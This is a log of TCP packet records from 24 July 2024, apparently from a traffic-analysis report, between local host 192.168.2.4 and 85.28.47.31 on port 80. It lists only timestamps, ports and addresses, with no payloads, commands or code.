Jul 24, 2024 02:39:04.906958103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906958103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.906959057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907099009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907134056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907147884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907166004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907176018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907198906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907211065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907274961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907286882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907309055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907318115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907341957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907350063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907375097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907382011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907407999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907419920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907442093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907450914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907474995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907491922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907509089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907516003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907552958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907814026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907845974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907871962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907881021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907891035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907915115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907927990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907948017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907957077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.907982111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.907994032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908015013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908025026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908050060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908058882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908082962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908092022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908116102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908127069 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908159018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908159018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908193111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908202887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908226013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908246040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908286095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908430099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908462048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908487082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908502102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908528090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908562899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908572912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908597946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908608913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908631086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908639908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908665895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.908673048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.908706903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917287111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917334080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917366982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917371988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917386055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917406082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917416096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917448997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917504072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917558908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917591095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917625904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917659044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917682886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917684078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917684078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917684078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917684078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917712927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917746067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917762041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917762041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917797089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917798042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917836905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917851925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917871952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917887926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917906046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917926073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917939901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917954922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.917973042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.917984962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918013096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918023109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918046951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918066025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918080091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918095112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918113947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918124914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918157101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918159962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918190956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918206930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918227911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918239117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918286085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918301105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918334007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918359041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918369055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918378115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918404102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918414116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918463945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918540001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918572903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918596983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918606997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918612003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918639898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918656111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918674946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.918689013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.918726921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.988595009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988643885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988662958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988678932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988696098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988712072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988728046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988744974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.988993883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.999818087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.999859095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.999921083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.999973059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:04.999996901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.999998093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:04.999998093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000009060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000042915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000072956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000076056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000094891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000119925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000128984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000163078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000176907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000195980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000221968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000228882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000240088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000263929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000288963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000308990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000308990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000365019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000370026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000401974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000415087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000437021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000461102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000471115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000487089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000534058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000555992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000591040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000628948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000643015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000646114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000678062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000703096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000713110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000726938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000747919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000761032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000782013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000793934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000814915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000842094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000849962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.000863075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.000897884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001091957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001125097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001158953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001161098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001185894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001192093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001199961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001226902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001255035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001260996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001275063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001312017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001432896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001465082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001491070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001497984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001511097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001528025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001550913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001560926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001574993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001595974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001610041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001651049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001663923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001703978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001866102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001899004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001924992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001933098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001941919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.001966953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.001992941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002002001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002017021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002038002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002052069 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002072096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002084970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002106905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002132893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002140999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002151966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002173901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002198935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002207994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002217054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002240896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.002255917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.002285957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.065756083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.070905924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251048088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251070023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251086950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251101017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251116037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251131058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251147032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251194000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251214981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251214981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251214981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251226902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251260996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251291037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251291037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251293898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251316071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251327038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251336098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251360893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251391888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251394033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251406908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251425982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251435995 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251461029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251487970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251502991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251739025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251771927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251804113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251813889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251837969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251846075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251869917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251884937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251903057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251914978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251935959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251948118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.251971006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.251986980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252011061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252110004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252144098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252156019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252177954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252186060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252222061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252281904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252315044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252342939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252357006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252365112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252398014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252413988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252429962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252439022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252461910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252476931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252530098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252537012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252563000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252578020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252597094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252603054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252629042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252640963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252662897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252676010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252697945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.252705097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.252741098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253041983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253073931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253103971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253108025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253123999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253140926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253148079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253174067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253180027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253206968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253216028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253240108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.253268957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.253272057 CEST	80	49730	85.28.47.31	192.168.2.4
